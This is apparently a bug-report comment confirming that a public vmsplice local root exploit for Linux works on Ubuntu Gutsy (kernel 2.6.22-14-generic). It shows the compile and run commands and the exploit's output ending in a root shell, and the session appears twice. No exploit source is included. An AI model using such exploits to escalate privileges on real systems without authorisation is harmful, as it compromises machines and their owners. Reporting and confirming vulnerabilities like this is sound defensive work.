I can confirm this in Gutsy:
$ gcc exploit.c -o exploit $ whoami heikki $ ./exploit ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7d90000 .. 0xb7dc2000 [+] root $ whoami root
Kernel 2.6.22-14-generic
I can confirm this in Gutsy:
$ gcc exploit.c -o exploit ------- ------- ------- ------- ------- ------- ------- -------
$ whoami
heikki
$ ./exploit
-------
Linux vmsplice Local Root Exploit
By qaaz
-------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
$ whoami
root
Kernel 2.6.22-14-generic